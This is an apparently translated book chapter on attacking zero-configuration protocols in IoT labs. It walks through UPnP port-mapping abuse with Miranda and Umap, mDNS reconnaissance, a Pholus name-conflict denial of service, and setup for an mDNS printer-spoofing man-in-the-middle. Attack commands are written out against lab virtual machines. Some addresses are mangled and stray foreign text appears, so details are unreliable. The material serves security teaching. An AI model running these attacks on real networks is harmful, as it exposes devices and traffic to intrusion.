Zero-configuration networking is a set of technologies that automates the processes of network address assignment, hostname distribution and resolution, and network service discovery without the need for manual use. These technologies are designed to work on a local network and usually assume that the participants in the environment have agreed to participate in the service, making it easier for attackers on the network to exploit them. IoT systems typically use zero-configuration protocols to allow devices to access the network without requiring user intervention. In this section, we look at typical vulnerabilities found in three sets of zero-configuration protocols: Universal Plug and Play (UPnP), Multicast Domain Name System (mDNS), and Domain Name System Service Discovery (Domain Name System Service Discovery, DNS-SD), and Web Services Dynamic Discovery (WS-Discovery) – and discuss how to attack IoT systems that rely on them.
We will bypass the firewall, gain access to documents by imitating a network printer on the network, falsify traffic similar to an IP camera, and much more. In today’s world of information technology, cybersecurity professionals are constantly looking for new methods and strategies to improve the effectiveness of their work. One of the key tools for this is the use of zero-configuration networking. What is it and why is it important? Zero-configuration networking allows users to connect to the network without the need for manual configuration. This greatly simplifies the process of network deployment, especially for large organizations and companies. But how to properly use such a network in the context of cyber security? We will cover key aspects such as automatic device recognition, data protection and anomaly detection techniques. Studying this topic will help you improve the efficiency of your network system, protect against potential threats, and understand how to best use the available network analysis and configuration tools.
The UPnP network protocol suite automates the process of adding and configuring devices and systems on the network. A UPnP-enabled device can dynamically join a network, announce its name and capabilities, discover other devices, and learn their capabilities. For example, people use UPnP applications to easily discover network printers, automate port mapping on home routers, and manage video streaming services.
But this automation comes at a price, which we’ll talk about below. First, we’ll present an overview of UPnP, and then we’ll set up a UPnP test server and use it to detect firewall gaps. We’ll also explain how other UPnP attacks work and how to combine unsafe UPnP implementations with other vulnerabilities to create powerful attacks.
The UPnP stack consists of six layers: addressing, discovery, description, management, event handling, and presentation.
At the addressing level, UPnP-enabled systems attempt to obtain an IP address via DHCP. If this is not possible, they assign an address from the range 169.254.0.0/16 (RFC 3927), a process called AutoIP.
Next is the discovery layer, where the system looks for other devices on the network using the Simple Service Discovery Protocol (SSDP). There are two ways to discover devices: active and passive. When the active method is used, UPnP-enabled devices send a discovery message (called an M-SEARCH request) to the broadcast address 126.96.36.199 on UDP port 1900. We’ll call this request HTTPU (HTTP over UDP) because it contains a header similar to to the HTTP header. The M-SEARCH query looks like this:
M-SEARCH * HTTP/1.1 ST: ssdp:all MX: 5 MAN: ssdp:discover HOST: 188.8.131.52:1900
UPnP systems listening to the request are expected to respond with a UDP unicast message that advertises the location of an HTTP XML description file that lists the supported device services. (In Chapter 4, we demonstrated how to connect an IP webcam to a custom network service that returns information similar to that typically found in an XML description file, assuming the device can support UPnP.)
In the passive method, UPnP-enabled devices periodically advertise their services on the network by sending a NOTIFY message to the multicast address 184.108.40.206 on UDP port 1900. The message that follows is similar to the message sent in response to an active detected object:
NOTIFY * HTTP/1.1\r\n HOST: 220.127.116.11:1900\r\n CACHE-CONTROL: max-age=60\r\n LOCATION: http://192.168.10.254:5000/rootDesc.xml\r\n SERVER: OpenWRT/18.06-SNAPSHOT UPnP/1.1 MiniUPnPd/2.1\r\n NT: urn:schemas-upnp-org:service:WANIPConnection:2\r\n
Any interested member of the network can listen to these discovery messages and send messages describing the services. At the description level, UPnP participants learn more about the device, its capabilities, and how to interact with it. The description of each UPnP profile is referenced either in the LOCATION field value of the response message received during active discovery or in the NOTIFY message received during passive discovery. The LOCATION field contains a URL that points to an XML description file consisting of URLs used by the event management and processing steps (described below).
The plane of control is perhaps the most important; it allows clients to send commands to a UPnP device using a URL from a description file. They can do this using Simple Object Access Protocol (SOAP), a messaging protocol that uses XML over HTTP. Devices send SOAP requests to the controlURL endpoint described in the <service> tag internal and description file. The <service> tag looks like this:
<service> <serviceType>urn:schemas-upnp-org:service:WANIPConnection:2</serviceType> <serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId> <SCPDURL>/WANIPCn.xml</SCPDURL> <controlURL>/ctl/IPConn</controlURL> <eventSubURL>/evt/IPConn</eventSubURL> </service>
You can see the controlURL. The event layer tells clients that they have subscribed to a specific eventURL, also described in the service tag inside the description XML file. These event URLs are associated with specific state variables (also included in the description XML file) that model the state of the service at runtime. We will not use state variables in this section. The presentation layer provides an HTML-based user interface for controlling the device and viewing its status, for example in the interface of a webcam or a UPnP-enabled router.
UPnP has a long history of flawed and flawed implementations. First of all, because UPnP was designed for use inside local networks, the protocol lacks authentication; So, anyone on the network can use it for malicious purposes.
UPnP stacks are notorious for poor input validation, leading to flaws such as NewInternalClient validation failure. This bug allows any type of IP address, internal or external, to be used for the NewInternalClient field in a device’s port forwarding rules. This means that an attacker can turn a vulnerable router into a proxy. For example, imagine you add a port forwarding rule that sets NewInternalClient to the IP address sock-raw.org, NewInternalPort to TCP port 80, and NewExternalPort to 6666. Then, when accessing the router’s external IP address on port 6666, you should force the router to access the sock-raw.org web server without revealing its IP address in destination logs. In the next section, we will look at a variant of this attack.
At the same time, UPnP stacks sometimes contain memory corruption bugs that can lead to remote denial-of-service attacks at best, and remote code execution at worst. For example, attackers have discovered devices that use SQL queries to update their rules in memory while accepting new rules via UPnP, making them vulnerable to SQL injection attacks. Additionally, because UPnP relies on XML, loosely configured zero-configuration XML parsing mechanisms can fall victim to External Entity (XXE) attacks. During these attacks, the engine processes potentially harmful input data that contains a reference to an external object, reveals sensitive information, or causes other consequences to the system. To make matters worse, the specification neither endorses nor outright prohibits UPnP on Internet-facing WAN interfaces. Even though some vendors follow best practices, implementation errors often result in WAN requests being missed.
Last but not least, devices often do not log UPnP requests, which means that the user has no way of knowing if an attacker is interfering with their work. Even if a device supports UPnP logging, the log is usually stored client-side on the device and has no settings that can be configured through the user interface.
Let’s carry out perhaps the most common attack on UPnP: creating loopholes in the firewall. In other words, this attack will add or change a rule in the firewall configuration that allows access to a secure network service. Thus, we will go through the different layers of UPnP and be able to better understand how the protocol works.
How the attack works
This firewall attack relies on default Internet Gateway Device (IGD) permissions implemented through UPnP. IGD maps ports in Network Address Translation (NAT) settings.
Almost every home router uses NAT, a system that allows multiple devices to share the same external IP address by reassigning the IP address to a private network address. An external IP address is usually a public address that your ISP assigns to your modem or router. Private IP addresses can be any of the standard RFC 1918 range: 10.0.0.0 to 10.255.255.255 (class A), 172.16.0.0 to 172.31.255.255 (class B), or 192.168.0.0 to 192.168.255.255 (class C) .
Although NAT is convenient for home solutions and preserves the IPv4 address space, it has some flexibility issues. For example, what happens when applications such as BitTorrent clients need to connect to external systems over a specific public port, but are behind a NAT device? If the device does not map this port directly to the Internet, the host will not be able to connect to it. One solution is to ask the user to manually configure port forwarding on their router. But it would be inconvenient, especially if the port had to be changed at each connection. Also, if the port has been statically set in the router’s port forwarding settings, any other application that would need to use that particular port will not be able to do so. The reason for this is that the external port mapping is already associated with a specific internal port and IP address, so it will have to be reconfigured for each connection.
This is where IGD comes in. IGD allows an application to dynamically add a temporary port mapping to a router for a specified period of time. This solves both problems: users don’t have to manually configure port forwarding, and it allows you to change the port for each connection.
But attackers can abuse IGD in unsafe UPnP settings. Generally, systems behind a NAT device should only be able to forward ports to their own ports. The problem is that many IoT devices, even these days, allow anyone on the network to add port mappings for other systems. This allows attackers on the network to perform malicious actions, such as exposing the router’s administration interface to the Internet.
Setting up a test UPnP server
Let’s start by setting up MiniUPnP, a lightweight IGD UPnP server implementation, on an OpenWrt image so we have a UPnP server to attack. OpenWrt is an open source Linux-based operating system for embedded devices; Used mainly for network routers. You can skip this configuration section if you download the appropriate OpenWrt virtual machine from the page https://nostarch.com/practical-iot-hacking/.
Describing how to configure OpenWrt is beyond the scope of this book, but you can find a guide on how to configure it at https:// openwrt.org/docs/guide-user/virtualization/vmware. Перетворіть образ OpenWr/18.06 to a VMware-compatible image and run it using a VMware workstation or player on your lab LAN. You can find the x86 snapshot we used for OpenWrt 18.06 at https://downloads. openwrt.org/releases/18.06.4/targets/x86/generic/. Then configure the network configuration, which is especially important for demonstrating the attack.
In the VM settings, we configured two network adapters:
an adapter connected to the local network and corresponding to eth0 (LAN interface). In our case, we statically configured it to have an IP address of 192.168.10.254, corresponding to our local network lab. We configured the IP address by manually editing the /etc/network/config file of our OpenWrt virtual machine. Adjust it according to your local network configuration;
adapter configured as a VMware NAT interface and corresponding to eth1 (WAN interface). It was automatically assigned an IP address of 192.168.92.148 via DHCP. It simulates the external, or PPP, interface of a router that will be connected to an ISP and have a public IP address.
If you are new to VMware, use the guide available at https://www.vmware.com/support/ws45/doc/network_configure_ws.html: This will help you configure additional network interfaces for your virtual machine. Although it mentions version 4.5, the instructions are applicable to every current VMware implementation. If you are using VMware Fusion on macOS, the guide available at https://docs.vm ware.com/en/VMware-Fusion/12/com.vmware.fusion.using.doc/GUID-E498672E may help19ДД-40ДФ- 92D3-FC0078947958.html. Anyway, add a second network adapter and change its settings to NAT (called “Sharing with my Mac” in Fusion), then change the first network adapter to Bridged (a bridge mode called Bridged Networking in Fusion).
You can configure VMware settings so that bridge mode is applied only to the adapter that is actually connected to your local network. Because you have two adapters, the VMware Auto Bridge feature may attempt to pass through the adapter that is not connected. Usually one Ethernet adapter and one Wi-Fi adapter are used, so check carefully which one is connected to which network.
Network interfaces are now part of the OpenWrt virtual machine. The /etc/config/network file should look something like this:
config interface 'lan' option ifname 'eth0' option proto 'static' option ipaddr '192.168.10.254' option netmask '255.255.255.0' option ip6assign '60' option gateway '192.168.10.1' config interface 'wan' option ifname 'eth1' option proto 'dhcp' config interface 'wan6' option ifname 'eth1' option proto 'dhcpv6'
Make sure your OpenWrt has an internet connection and then type the following shell command to install MiniUPnP server and luci-app-upnp. The luci-app-upnp package allows configuring and displaying UPnP settings via Luci, the default web interface for OpenWrt:
# opkg update && opkg install miniupnpd luci-app-upnp
Next we need to configure MiniUPnPd. Enter the following command to edit the file using Vim (or use a text editor of your choice):
# vim /etc/init.d/miniupnpd
Scroll down to the point where the config_load line “upnpd” occurs for the second time (in MiniUPnP version 2.1-1 it’s line 134). Change the settings as follows:
config_load "upnpd" upnpd_write_bool enable_natpmp 1 upnpd_write_bool enable_upnp 1 upnpd_write_bool secure_mode 0
The most important change is the disabling of secure_mode. Disabling this option allows clients to forward incoming ports to IP addresses other than their own. This option is enabled by default, which means that the server prevents an attacker from adding port mappings that will redirect the connection to any other IP address.
The config_load “upnpd” command also loads additional settings from the /etc/config/upnpd file, which should be modified as follows:
config upnpd 'config' option download '1024' option upload '512' option internal_iface 'lan' option external_iface 'wan' option port '5000' option upnp_lease_file '/var/run/miniupnpd.leases' option enabled '1' option uuid '125c09ed-65b0-425f-a263-d96199238a10' option secure_mode '0' option log_output '1' config perm_rule option action 'allow' option ext_ports '1024-65535' option int_addr '0.0.0.0/0' option int_ports '0-65535' option comment 'Allow all ports'
First, you need to manually add the external interface option; otherwise, the server will not allow port forwarding to the WAN interface. Second, enable the initialization script to run MiniUPnP. Third, allow forwarding on all internal ports, starting with 0. By default, MiniUPnPd only allows forwarding on certain ports. We have removed all Other perm_rules. If you copy the /etc/config/upnpd file shown here it will work correctly. After making the changes, restart the MiniUPnP daemon using the following command:
# /etc/init.d/miniupnpd restart
You will also need to restart the OpenWrt firewall after restarting the server. A firewall is part of the Linux operating system and is enabled by default in OpenWrt. You can easily do this by going to the web interface at http://192.168.10.254/cgibin/luci/admin/status/iptables/ and clicking Restart Firewall or by entering the following command in a terminal:
# /etc/init.d/firewall restart
Current versions of OpenWrt are more secure, and we intentionally make this server insecure for the purposes of this exercise. However, countless IoT products available are configured this way by default.
Now that we’ve set up our test environment, let’s try attacking the firewall by abusing the IGD service. We will use the IGD WANIPConnection subprofile, which supports the AddPortMapping and DeletePortMapping actions, to add and remove Exploiting Zero-Configuration Networking 125 port mappings, respectively. We will use the command AddPortMapping Miranda’s UPnP testing tool that comes pre-installed on Kali Linux. If you don’t have the Miranda tool preinstalled, you can always get it at https://github.com/0x90/miranda-upnp/ – note that you’ll need Python 2 to run it. Listing 6.1 uses Miranda to break into the firewall of the vulnerable OpenWrt router.
Code listing 6.1. Penetrating an OpenWrt router firewall using Miranda
# miranda upnp> msearch upnp> host list upnp> host get 0 upnp> host details 0 upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping Set NewPortMappingDescription value to: test Set NewLeaseDuration value to: 0 Set NewInternalClient value to: 192.168.10.254 Set NewEnabled value to: 1 Set NewExternalPort value to: 5555 Set NewRemoteHost value to: Set NewProtocol value to: TCP Set NewInternalPort value to: 80
The msearch command sends an M-SEARCH* packet to the broadcast address 18.104.22.168 on UDP port 1900, completing the active discovery phase as described in the UPnP Stack section. You can press Ctrl+C at any time to stop waiting for new responses, and you must do so when your target responds.
Host 192.168.10.254 should now appear in the host list, which is the list of targets that the tool monitors within and with the associated index. Pass the index as an argument to the get host command to get the rootDesc.xml description file. After that, all supported IGD profiles and sub-profiles should be displayed in the host details. In this case, for our purpose, there should be a WAN-IPConnection in the WANConnectionDevice.
Finally, we send an AddPortMapping command to the host to redirect the external port 5555 (chosen randomly) to the internal port of the web server that exposes the web administration interface to the Internet. When we enter a command, we must specify its arguments. NewPortMappingDescription is any string value that is normally displayed in the router’s UPnP settings for mapping. NewLeaseDuration specifies how long the port binding will be active. A value of 0 shown here means unlimited time. The NewEnabled argument can be 0 (inactive) or 1 (active). NewInternalClient refers to the IP address of the internal host to which the display is associated. NewRemoteHost is usually empty. Otherwise, port binding will be limited to this particular external host only. NewProtocol can be TCP or UDP. NewInternalValue is the host port of the NewInternalClient to which traffic flows on the NewExternalPort.
We can now see the new port mapping by visiting the OpenWrt router web interface at 192.168.10.254/cgi/bin/luci/admin/services/upnp
To test if our attack was successful, let’s visit our router’s external IP address 192.168.92.148 on forwarded port 5555. Keep in mind that the private web interface should not normally be accessible through the public interface. . Figure 6.2 shows the result.
After we sent the AddPortMapping command, the private web interface became available through the interface on port 5555.
Let’s try to use UPnP remotely through the WAN interface. This tactic could allow an external attacker to do some damage, such as redirecting ports from hosts to the internal and local network, or executing other useful IGD commands such as GetPassword or GetUserName. You can perform this attack on flawed or unsafe UPnP implementations.
To perform this attack, we will use Umap, a tool written specifically for this purpose.
How the attack works
For security reasons, most devices typically do not accept SSDP packets over the WAN interface, but some devices can accept IGD commands over open SOAP checkpoints. This means that an attacker can interact with them directly from the Internet.
For this reason, Umap skips the UPnP stack discovery step (the step where a device uses SSDP to discover other devices on the network) and tries to scan the XML description files directly. If it finds such a file, it proceeds to the UPnP control phase and tries to contact the device by sending it SOAP requests directed at the URL in the description file. Fig. 6.3 shows the structural diagram of internal network scanning using Umap.
Umap first tries to find IGD checkpoints by checking many known XML file locations (such as /rootDesc.xml or /upnp/IGD.xml). After successfully detecting them, Umap tries to guess the IP block of the internal LAN. Remember that you are scanning an external IP address (facing the Internet), so the addresses behind the NAT device will be different.
Umap then sends an IGD port-map command for each shared port, forwarding that port to the WAN. It then tries to connect to that port. If the port is closed, it sends an IGD command to remove the port mapping. Otherwise, it reports that the port is open and leaves the port display unchanged. By default, the following common ports are scanned (hardcoded in the commonPorts variable in umap.py):
commonPorts = ['21','22','23','80','137','138','139','443','445','3389', '8080']
Of course, you can edit the commonPorts variable and try to redirect other ports. You can find a good reference for the most commonly used TCP ports by running the following Nmap command:
# nmap --top-ports 100 -v -oG – Nmap 7.70 scan initiated Mon Jul 8 00:36:12 2019 as: nmap --top-ports 100 -v -oG - # Ports scanned: TCP(100;7,9,13,21-23,25-26,37,53,79-81,88,106,110- 111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543- 544,548,554,587,631,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000- 2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,56- 31,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999- 10000,32768,49152-49157) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Umap was first introduced at Defcon 19 by Daniel Garcia; the latest version of the tool can be found on its author’s website: https://toor.do/umap-0.8.tar.gz. After extracting the compressed Umap archive, you can also install SOAPpy and iplib:
# apt-get install pip # pip install SOAPpy # pip install iplib
Umap is written in Python 2, which is no longer officially supported; therefore, if your Linux distribution does not have a Python 2 package manager, you will have to download it manually from https://pypi.org/project/pip/#files. Download the latest version of the source code and run it like this:
# tar -xzf pip-20.0.2.tar.gz # cd pip-20.0.2 # python2.7 setup install
Run Umap with the following command (replacing the IP address with the external IP address of your facility):
# ./umap.py -c -i 22.214.171.124
After starting, Umap implements a block diagram of the type shown in Fig. 6.3. Even if the device does not declare the IGD command (meaning the command does not have to be specified as controlURL in the XML description file), some systems still accept the commands due to a faulty UPnP implementation. Therefore, you should always check them all during a proper security test. Table 6.1 lists the IGD commands that are tested.
Note that the latest public version of Umap (0.8) does not automatically check these commands. You can find more information about them in the official specification at http://upnp.org/specs/gw/UPnP-gw-ANPPPConnection-v1-Service.pdf/.
After Umap detects the external IGD service, you can use Miranda to manually test these commands. Depending on the team, you should get different answers. For example, if we go back to our vulnerable OpenWrt router and run Miranda against it, we can see the output of some of these commands:
upnp> host send 0 WANConnectionDevice WANIPv6FirewallControl GetFirewallStatus InboundPinholeAllowed : 1 FirewallEnabled : 1 upnp> host send 0 WANConnectionDevice WANIPConnection GetStatusInfo NewUptime : 10456 NewLastConnectionError : ERROR_NONE NewConnectionStatus : Connected
But the tool may not always indicate that the command was successful, so be sure to fire up a packet sniffer like Wireshark to understand what’s going on behind the scenes.
Running host info will give you a long list of all the declared commands, but you should still try to test them all. The following output shows only the first part of the list for the OpenWrt system we configured earlier:
upnp> host details 0 Host name: [fd37:84e0:6d4f::1]:5000 UPNP XML File: http://[fd37:84e0:6d4f::1]:5000/rootDesc.xml Device information: Device Name: InternetGatewayDevice Service Name: Device Protection controlURL: /ctl/DP eventSUbURL: /evt/DP serviceId: urn:upnp-org:serviceId:DeviceProtection1 SCPDURL: /DP.xml fullName: urn:schemas-upnp-org:service:DeviceProtection:1 ServiceActions: GetSupportedProtocols ProtocolList SupportedProtocols: dataType: string sendEvents: N/A allowedVallueList:  direction: out SendSetupMessage …
This output contains only a small portion of the long list of declared UPnP commands.
Multicast DNS (Broadcast DNS, mDNS) is a zero-configuration protocol that allows you to perform DNS-like operations on a local network without a conventional unicast DNS server. The protocol uses the same API, packet formats, and operational semantics as DNS, allowing domain name resolution on a local network. DNS Service Discovery (DNS-SD) is a protocol that allows clients to discover a list of named service instances (such as test._ipps._tcp.local or linux._ssh._tcp.local) in a domain using standard DNS queries. DNS-SD is most commonly used in conjunction with mDNS, but is independent of it. Both are used by many IoT devices such as network printers, Apple TV, Google Chromecast, network attached storage (NAS) and cameras. Most modern operating systems support them.
Both protocols operate in the same broadcast domain; this means that the devices share the same data layer, which is also called the local link or layer 2 in the Open Systems Interconnection (OSI) computer networking model. This means that messages will not pass through routers operating at Layer 3. Devices must be connected to the same Ethernet extenders or network switches to listen for and respond to these multicast messages.
Local channel protocols can create vulnerabilities for two reasons. First, even though you usually encounter these protocols on a local connection, the local network is not necessarily trusted for the interacting participants. Complex network environments often lack proper segmentation, allowing attackers to move from one part of the network to another (for example, by compromising routers). Additionally, corporate environments often have bring-your-own-device (BYOD) policies that allow employees to use their personal devices on these networks. The situation is aggravated in public networks, for example, in airports or cafes. Second, an insecure implementation of these services may allow attackers to use them remotely, completely bypassing local links.
In this section, we will look at how these two protocols can be abused in IoT ecosystems. You can perform reconnaissance, man-in-the-middle attacks, denial-of-service attacks, unicast DNS cache poisoning, and more!
Devices use mDNS when there is no regular unicast DNS server on the local network. To resolve a domain name for a local address using mDNS, the device sends a DNS query for a domain name ending in .local to the broadcast address 126.96.36.199 (for IPv4) or FF02::FB (for IPv6). You can also use mDNS to resolve global domain names (not .local), but this behavior should be disabled by default in mDNS implementations. mDNS queries and responses use UDP and port 5353 as source and destination ports.
Every time an mDNS responder changes connection, it must perform two actions: probe and advertise. In the first check, the host queries (using query type “ANY”, which matches the value 255 in the QTYPE field in the mDNS packet) to see if the records it wants to advertise are already in use. If they are not in use, the host advertises its newly registered entries (contained in the response section of packets) by sending unsolicited mDNS responses to the network. mDNS responses contain several important flags, including:
Sending a response with TTL = 0 means that the corresponding entry should be invalidated. Another important flag is the QU bit, which indicates whether the request is unicast or not. If the QU bit is not set, the packet is broadcast. Because it is possible to receive unicast requests outside the local link, secure mDNS implementations must always check that the source address in the packet matches the address range of the local subnet.
DNS-SD allows clients to find available services on the network. To use it, clients send standard DNS pointer record (PTR) queries that map a service type to a list of names for specific instances of that service type.
Clients use the “<Service>.<Domain>” name form to request a PTR record. The <Service> part is a pair of DNS labels: an underscore followed by a service name (such as _ipps, _printer, or _ipp) and _tcp or _udp. The <Domain> part is set to “.local”. The responders then return PTR records that indicate the associated service (SRV) and text (TXT). The mDNS PTR record contains a service name that matches the SRV record name without the instance name: in other words, it points to an SRV record. Here is an example of a PTR record:
_ipps._tcp.local: type PTR, class IN, test._ipps._tcp.local
The part of the PTR to the left of the colon is the name of the colon, and the part to the right is the SRV record that the PTR record points to. The SRV record lists the target host and port through which the service instance can be accessed. For example, in fig. Figure 6.4 shows the “test._ ipps._tcp.local” SRV entry in Wireshark.
SRV names have the format “<Instance>.<Service>.<Domain>”. The <Instance> tag contains a convenient name for the service (in this case, the test one). The <Service> tag defines what the service does and what application protocol it uses to do it. It consists of a set of DNS labels: an underscore followed by a service name (eg _ipps, _ipp, _http) followed by a transport protocol (_tcp, _udp, _sctp and so on). The <Domain> part specifies the DNS subdomain in which these names are registered. For mDNS it’s .local, but it can be anything if you’re using unicast DNS. The SRV record also contains Target and Port sections, which contain the hostname and port on which the service can be found (see Figure 6.4).
A TXT record that has the same name as an SRV record provides additional information about that instance in a structured form using key/value pairs. The TXT record contains the information necessary to identify the service when the IP address and port numbers (contained in the SRV record) are insufficient to identify the service. For example, in the case of the old Unix LPR protocol, the TXT record specifies the name of the queue.
You can learn a lot about your local network by simply sending mDNS queries and intercepting mDNS multicast traffic. For example, you can discover available services, query specific service instances, enumerate domains, and identify a host. In particular, the special _workstation service must be enabled to identify the host on the system you are trying to probe.
We are going to do some exploration using a tool called Pholus, which was developed by Antonios Atlasis. Download it from https:// github.com/aatlasis/Pholus/. Note that Pholus is written in Python 2, which is no longer officially supported. You may need to manually download pip for Python2, similar to installing Umap (see the Getting and Using Umap section above). Next you will need to install Scapy using the Python2 version of pip:
# pip install scapy
Pholus will send mDNS queries (-rq) to the local network and capture mDNS broadcast traffic (10 seconds for -stimeout), gathering a lot of interesting information:
root@kali:~/zeroconf/mdns/Pholus# ./pholus.py eth0 -rq -stimeout 10 source MAC address: 00:0c:29:32:7c:14 source IPv4 Address: 192.168.10.10 source IPv6 address: fdd6:f51d:5ca8:0:20c:29ff:fe32:7c14 Sniffer filter is: not ether src 00:0c:29:32:7c:14 and udp and port 5353 I will sniff for 10 seconds, unless interrupted by Ctrl-C ------------------------------------------------------------------------ Sending mdns requests 30:9c:23:b6:40:15 192.168.10.20 QUERY Answer: _services._dns-sd._udp.local. PTR Class:IN "_ nvstream_dbd._tcp.local." 9c:8e:cd:10:29:87 192.168.10.245 QUERY Answer: _services._dns-sd._udp.local. PTR Class:IN "_ http._tcp.local." 00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Question: 188.8.131.52.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.f.4 .d.6.0.e.184.108.40.206.d.f.ip6.arpa. * (ANY) QM Class:IN 00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Question: OpenWrt-1757.local. * (ANY) QM Class:IN 00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Auth_NS: OpenWrt-1757.local. HINFO Class:IN "X86_64LINUX" 00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Auth_NS: OpenWrt-1757.local. AAAA Class:IN "fd37:84e0:6d4f::1" 00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Auth_NS: 220.127.116.11.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.f.4. d.6.0.e.18.104.22.168.d.f.ip6.arpa. PTR Class:IN "OpenWrt-1757.local."
Figure 6.5 shows a Wireshark dump from a Pholus query. Note that responses are sent back to the broadcast address via UDP port 5353. Since anyone can receive multicast messages, an attacker could easily send an mDNS request from a spoofed IP address and still receive responses on the local network.
Learning more about what services are available on the network is the very first step in any security test. Using this approach, you can find services with potential vulnerabilities and then exploit them.
In this section, we will use the mDNS validation step. In this step, which occurs every time an mDNS responder starts or changes its connection, the responder queries the local network to see if there are any resource records with the same name as the one it plans to advertise. To do this, it sends a request of the type “ANY” (255), as shown in fig. 6.6.
If the response contains the desired entry, the verifying node must choose a new name. If 15 conflicts occur within 10 seconds, the organizer must wait at least five seconds before making any additional attempts. Also, if one minute passes and the host cannot find an unused name, it reports an error to the user.
The validation phase is vulnerable to the following attack: an attacker can monitor mDNS traffic for the validating host and then continuously send responses containing the matching entry, continuously forcing the host to change the requested name until it terminates. This causes a configuration change (for example, because the relying party has to choose a new name for the service it provides) and possibly a denial-of-service attack if the host cannot access the resource it is looking for. For a quick demonstration of this attack, use Pholus with the -afre argument:
# python pholus.py eth0 -afre -stimeout 1000
Replace the eth0 argument with the desired network interface. The -afre argument causes Pholus to send fake mDNS responses for -stimeout seconds. This output shows that Pholus is blocking a new Ubuntu host on the network:
00:0c:29:f4:74:2a 192.168.10.219 QUERY Question: ubuntu-133.local. * (ANY) QM Class:IN 00:0c:29:f4:74:2a 192.168.10.219 QUERY Auth_NS: ubuntu-133.local. AAAA Class:IN "fdd6:f51d:5ca8 :0:c81e:79a4:8584:8a56" 00:0c:29:f4:74:2a 192.168.10.219 QUERY Auth_NS: 6.5.a.22.214.171.124.8.4.a.9.7.e.1.8.c.0.0.0.0.8.a.c.5 .d.1.5.f.6.d.d.f.ip6.arpa. PTR Class:IN "ubuntu-133.local." Query Name = 6.5.a.126.96.36.199.8.4.a.9.7.e.1.8.c.0.0.0.0.8.a.c.5.d.1.5.f.6.d.d.f.ip6.arpa Type=255 00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Question: 6.5.a.188.8.131.52.8.4.a.9.7. e.1.8.c.0.0.0.0.8.a.c.5.d.1.5.f.6.d.d.f.ip6.arpa. * (ANY) QM Class:IN Query Name = ubuntu-134.local Type= 255 00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Question: ubuntu-134.local. * (ANY) QM Class:IN 00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Auth_NS: ubuntu-134.local. AAAA Class:IN "fdd6:f51d:5ca8:0:c81e:79a4:8584:8a56"
When the Ubuntu host booted, its mDNS responder attempted to request the local name ubuntu.local. As Pholus continued to send false responses indicating that the name belonged to the attacker, the Ubuntu host continued to repeat potential new names such as ubuntu-2.local, ubuntu-3.local, etc. without being able to register. Note that the host failed to reach the name ubuntu-133.local.
Let’s carry out an advanced attack with a high effect: attackers who poison mDNS in a local network occupy a privileged position of “man in the middle” between a client and some service, taking advantage of the lack of authentication in mDNS. This allows them to capture and modify potentially sensitive data being transmitted over the network, or simply deny service.
In this section, we’ll create an mDNS “poisoner” in Python that simulates a network printer to intercept documents destined for a real printer. Then we test the attack in a virtual environment.
Victim server settings
Let’s start by configuring the victim’s computer to run an emulated printer using ippserver. Ippserver is a simple Internet Printing Protocol (IPP) server that can act as a very simple print server. I was running Ubuntu 18.04.2 LTS (IP address: 192.168.10.219) on VMware, but the exact specs of the OS don’t matter as long as you can run the current version of ippserver.
After the operating system is installed, start the print server by typing the following command in a terminal:
$ ippserver test –v
This command starts the ippserver with default configuration options. It should listen on TCP port 8000, advertise a service named test, and enable verbose output. If Wireshark is open when the server starts, you should notice that the server is performing a probe phase, sending an mDNS request to the local broadcast address 184.108.40.206 asking if anyone has a print service named test (Figure 6.7).
This request also contains some proposed entries in the Authority section (you can see them in the Authoritative Name Servers section in Figure 6.7). Since this is not an mDNS response, such records are not considered official responses; instead, they are used to simultaneously check conflict resolution, a situation we are not currently concerned with.
The server will then wait a couple of seconds and, if no one on the network responds, will proceed to the announcement phase. At this point, ippserver sends an unsolicited mDNS response that contains all of its newly registered resource records in the response section of fig. 6.8).
This response includes a set of PTR, SRV, and TXT records for each service, as shown in How DNS-SD Works. It also contains A (for IPv4) and AAAA (for IPv6) records, which are used to resolve a domain name with IP addresses. The A record for ubuntu.local in this case will contain the IP address 192.168.10.219.
Preparation of the client-victim
A victim requesting a print service can use any device running an operating system that supports mDNS and DNS-SD. For this example, we’ll be using a MacBook Pro with macOS High Sierra. Apple’s zero-configuration networking implementation is called Bonjour and is based on mDNS. Bonjour should be enabled by default on macOS. If it doesn’t, you can enable it by typing the following command in the terminal:
$ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
Figure 6.9 shows how mDNSResponder (the Bonjour engine) automatically finds the appropriate Ubuntu print server when we click System Preferences >> Printers & Scanners and the + button to add a new printer.
To make the attack scenario more realistic, we assume that the MacBook already has a preconfigured network printer named test. One of the most important aspects of automatic service discovery is that it doesn’t matter if our system has discovered the service before! This increases flexibility (although at the same time forces you to sacrifice security). The client must be able to contact the service even if the hostname and IP address have changed; So every time the macOS client needs to print a document, it sends a new mDNS query asking where the test service is, even if it has the same hostname and IP address as the last time.
Now let’s see how the macOS client requests the printer service when everything is working correctly. As shown in fig. In Figure 6.10, the mDNS client query for the test service will ask which SRV and TXT records belong to test._ipps._tcp.local. It also queries similar alternative services such as test._printer._tcp.local and test._ipp._tcp.local.
After that, the Ubuntu system will react in the same way as in the announcement stage. It will send responses containing PTR, SRV and TXT records for all requested services that have the appropriate permissions (eg test._ipps._tcp.local) and A (and AAAA records if the host has IPv6 enabled). The TXT record (Figure 6.11) is particularly important in this case because it contains the exact URL (adminurl) for the printer jobs to be published.
With this information, the macOS client knows everything it needs to send a print job to the Ubuntu ipp server:
